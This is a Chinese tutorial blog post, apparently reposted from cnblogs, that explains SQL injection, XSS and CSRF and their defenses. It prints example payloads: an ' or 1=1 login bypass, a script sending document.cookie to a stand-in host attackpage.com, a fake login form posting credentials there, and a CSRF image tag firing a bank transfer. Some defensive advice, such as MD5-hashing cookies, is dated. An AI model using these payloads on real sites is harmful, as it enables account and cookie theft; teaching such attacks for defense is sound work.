Web攻防之XSS,CSRF,SQL注入

 copy to:https://www.cnblogs.com/drawwindows/archive/2013/03/11/2954259.html

 

摘要：对Web服务器的攻击也能够说是形形色色、种类繁多，常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver漏洞进行攻击。本文结合WEB TOP10漏洞中常见的SQL注入，跨站脚本攻击(XSS)，跨站请求伪造（CSRF）攻击的产生原理，介绍相应的防范方法。

关键字：SQL注入，XSS，CSRF

1.SQL注入

　　所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。 攻击者经过在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素，欺骗数据库服务器执行非受权的查询,篡改命令。

　　它可以轻易的绕过防火墙直接访问数据库，甚至可以得到数据库所在的服务器的系统权限。在Web应用漏洞中，SQL Injection 漏洞的风险要高过其余全部的漏洞。

　　攻击原理

 

　　假设的登陆查询

　　SELECT * FROM  users  WHERE login = 'victor' AND password = '123

　　Sever端代码

　　String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

　　输入字符

　　formusr = ' or 1=1

　　formpwd = anything

　　实际的查询代码

　　SELECT * FROM users WHERE username = ' ' or 1=1  AND password = 'anything'  

 

　　发现注入点简单办法

　　1.寻找带有查询字符串的url的网页(例如，查询那些在URL里带有"id=" 的URL)。

　　2.向这个网站发送一个请求，改变其中的id=语句，带一个额外的单引号（例如：id=123’）。

　　3.查看返回的内容，在其中查找“sql”，“statement”等关键字（这也说明返回了具体的错误信息，这自己就很糟糕）。以下图：

　　4.错误消息是否表示发送到SQL服务器的参数没有被正确编码果如此，那么表示可对该网站进行SQL注入攻击。

　　如何防范SQL注入攻击

　　一个常见的错误是，假如你使用了存储过程或ORM，你就彻底不受SQL注入攻击之害了。这是不正确的，你仍是须要肯定在给存储过程传递数据时你很谨慎，或在用ORM来定制一个查询时，你的作法是安全的。

　　参数化查询已被视为最有效的可防护SQL注入攻击的防护方式。目前主流的ORM 框架都内置支持而且推荐使用这种方式进行持久层封装。

　　所谓的参数化查询（Parameterized Query 或 Parameterized Statement）是指在设计与数据库连接并访问数据时，在须要填入数值或数据的地方，使用参数 (Parameter) 来给值。

　　　　例：      
　　　　SELECT * FROM myTable WHERE myID = @myID

　　　　INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)

　　经过(?)指定占位符，固然在添加参数的时候，必须按照(c1, c2, c3, c4)的顺序来添加，不然会出错。

 

2.跨站脚本攻击(XSS)

　　XSS 全称(Cross Site Scripting) 跨站脚本攻击， 是Web程序中最多见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.  好比获取用户的Cookie，导航到恶意网站,携带木马等。

　　攻击原理

　　假如页面有以下一个输入框

　　<input type="text" name="record" value="沙发">

　　【沙发】是来自用户的输入，若是用户输入的是"onfocus="alert(document.cookie)

　　那么就会变成 

　　<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

　　 事件被触发的时候嵌入的JavaScript代码将会被执行

　　 攻击的威力，取决于用户输入了什么样的脚本。

　　XSS分类

　　1. 反射型XSS

　　反射型XSS，又称非持久型XSS。之因此称为反射型XSS，则是由于这种攻击方式的注入代码是从目标服务器经过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS，则是由于这种攻击方式具备一次性。攻击者经过电子邮件等方式将包含注入脚本的恶意连接发送给受害者，当受害者点击该连接时，注入脚本被传输到目标服务器上，而后服务器将注入脚本“反射”到受害者的浏览器上，从而在该浏览器上执行了这段脚本。

好比攻击者将以下连接发送给受害者：

http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

当受害者点击这个连接的时候，注入的脚本被看成搜索的关键词发送到目标服务器的search.asp页面中，则在搜索结果的返回页面中，这段脚本将被看成搜索的关键词而嵌入。这样，当用户获得搜索结果页面后，这段脚本也获得了执行。这就是反射型XSS攻击的原理，能够看到，攻击者巧妙地经过反射型XSS的攻击方式，达到了在受害者的浏览器上执行脚本的目的。因为代码注入的是一个动态产生的页面而不是永久的页面，所以这种攻击方式只在点击连接的时候才产生做用，这也是它被称为非持久型XSS的缘由

　　2.存储型XSS

　　　存储型XSS，又称持久型XSS，他和反射型XSS最大的不一样就是，攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛，攻击者在发帖的过程当中，将恶意脚本连同正常信息一块儿注入到帖子的内容之中。随着帖子被论坛服务器存储下来，恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候，恶意脚本则会在他们的浏览器中获得执行，从而受到了攻击。

　　Xss危害

　　1.盗取cookie

　　　　经过XSS攻击，因为注入代码是在受害者的浏览器上执行，所以可以很方便地窃取到受害者的Cookie信息。好比，咱们只要注入相似以下的代码：

　　<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>

　　　　当受害者的浏览器执行这段脚本的时候，就会自动访问攻击者创建的网站www.attackpage.com，打开其中的recourd.asp，将受害者浏览器的Cookie信息给记录下来。这样，攻击者就获得了用户的Cookie信息。

　　　　获得受害者的Cookie信息后，攻击者能够很方便地冒充受害者，从而拥有其在目标服务器上的全部权限，至关于受害者的身份认证被窃取了。

　　2.钓鱼攻击

　　　　所谓钓鱼攻击就是构建一个钓鱼页面，诱骗受害者在其中输入一些敏感信息，而后将其发送给攻击者。利用XSS的注入脚本，咱们也能够很方便地注入钓鱼页面的代码，从而引导钓鱼攻击。好比下面这样一段代码：

　　<script>

　　function hack(){ 
　　　　location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
　　}

　　</script>
　　<form>
　　<br> <H3>此功能须要登陆:</H3 > 
　　<br><br>请输入用户名：<br> 
　　<input type=”text” id=”user”name=”user”>
　　<br>请输入密码：<br>
　　<input type=”password” name =“pass”>
　　<br><input type=”submit”name=”login” value=”登陆”onclick=”hack()”>
　　</form>

 

 

　　　　注入上面的代码后，则会在原来的页面上，插入一段表单，要求用户输入本身的用户名和密码，而当用户点击“登陆”按钮后，则会执行hack()函数，将用户的输入发送到攻击者指定的网站上去。这样，攻击者就成功窃取了该用　　　户的帐号信息。和通常的钓鱼攻击不一样，XSS引导的钓鱼攻击因为是对用户信任的网站页面进行修改的。

　　3.   CSRF攻击

　　　　好比咱们注入以下的HTML代码：

　　 <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

        　　 假如上面的代码中所访问的是某个银行网站的转帐服务，则当受害者的浏览器运行这段脚本时，就会向攻击者指定的帐户（示例的123456）执行转帐操做。因为这个转帐请求是在受害者的浏览器中运行的，所以浏览器也会自　　　　 动将受害者的Cookie信息一并发送。这样，发送的请求就好像是受害者本身发送的同样，银行网站也将承认这个请求的合法性，攻击者也就达到了伪造请求的目的。

　　4.传播恶意软件

　　　　　　除了直接注入恶意脚本之外，经过XSS攻击，攻击者也能够很方便地在脚本中引入一些恶意软件，好比病毒、木马、蠕虫等等。例如，攻击者能够在某个本身创建的页面上放置一些恶意软件，而后用XSS注入的方式，插入一　　　　段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候，就会自动访问放置了恶意软件的页面，从而受到这些恶意软件的感染。

　　XSS的预防

　　1. 输入过滤

         　　对用户的全部输入数据进行检测，好比过滤其中的“<”、“>”、“/”等可能致使脚本注入的特殊字符，或者过滤“script”、“javascript”等脚本关键字，或者对输入数据的长度进行限制等等。同时，咱们也要考虑用户可能绕开　　　　ASCII码，使用十六进制编码来输入脚本。所以，对用户输入的十六进制编码，咱们也要进行相应的过滤。只要可以严格检测每一处交互点，保证对全部用户可能的输入都进行检测和XSS过滤，就可以有效地阻止XSS攻击。

　　2. 输出编码

         　　经过前面对XSS攻击的分析，咱们能够看到，之因此会产生XSS攻击，就是由于Web应用程序将用户的输入直接嵌入到某个页面当中，做为该页面的HTML代码的一部分。所以，当Web应用程序将用户的输入数据输出到目标　　　　页面中时，只要用HtmlEncoder等工具先对这些数据进行编码，而后再输出到目标页面中。这样，若是用户输入一些HTML的脚本，也会被当成普通的文字，而不会成为目标页面HTML代码的一部分获得执行。

　　3. Cookie防盗

　　　　利用XSS攻击，攻击者能够很方便地窃取到合法用户的Cookie信息。所以，对于Cookie，咱们能够采起如下的措施。首先，咱们要尽量地避免在Cookie中泄露隐私，如用户名、密码等；其次，咱们能够将Cookie信息利用MD5等Hash算法进行屡次散列后存放；再次，为了防止重放攻击，咱们也能够将Cookie和IP进行绑定，这样也能够阻止攻击者冒充正经常使用户的身份。

 

         做为一名普通的网络用户，在XSS攻击的预防上咱们能够采起如下措施。首先，咱们不要轻易相信电子邮件或者网页中的不明连接，这些连接颇有可能引导反射型XSS攻击或者使咱们访问到一些不安全的网页。其次，咱们在没必要要的时候能够禁用脚本功能，这样XSS注入的脚本就没法获得运行。

3.   CSRF 攻击

　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。

你这能够这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF可以作的事情包括：以你名义发送邮件，发消息，盗取你的帐号，甚至于购买商品，虚拟货币转帐......形成的问题包括：我的隐私泄露以及财产安全。

　　CSRF漏洞现状

　　　　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型BLOG网站），YouTube和百度HI......而如今，互联网上的许多站点仍对此毫无防备，以致于安全业界称CSRF为“沉睡的巨人”。

　　原理

　　网站A ：为恶意网站。

　　网站B ：用户已登陆的网站。

　　当用户访问 A站 时，A站 私自访问 B站 的操做连接，模拟用户操做。

　　假设B站有一个删除评论的连接：http://b.com/comment/?type=delete&id=81723

　　A站 直接访问该连接，就能删除用户在 B站 的评论。

　　CSRF 防护技巧

　　1.验证码

　　　　几乎全部人都知道验证码，但验证码不仅仅用来防止注册机的暴力破解，还能够有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于，不可能在用户的全部操做上都须要输入验证码.只有一些关键的操做，才能要求输入验证码。不过随着HTML5的发展。利用canvas标签，前端也能识别验证码的字符，让CSRF生效。

　　2.Token

　　　　CSRF能攻击成功，根本缘由是：操做所带的参数均被攻击者猜想到。既然知道根本缘由，咱们就对症下药，利用Token。当向服务器传参数时，带上Token。这个Token是一个随机值，而且由服务器和用户同时持有。当用户提交表单时带上Token值，服务器就能验证表单和session中的Token是否一致。

         token生成示例代码以下

　　

private static SecureRandom secureRandom=null;
public static String createToken() {
    if(secureRandom==null){
        String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
        try {
            secureRandom = SecureRandom.getInstance("SHA1PRNG");
        } catch (NoSuchAlgorithmException e) {
            throw new RuntimeException(e);
        }
        secureRandom.setSeed(entoropy.getBytes());
    }
    byte bytes[]=new byte[16];
    secureRandom.nextBytes(bytes);
    byte[] base64Bytes = Base64.encode(bytes);
    return new String(base64Bytes);
}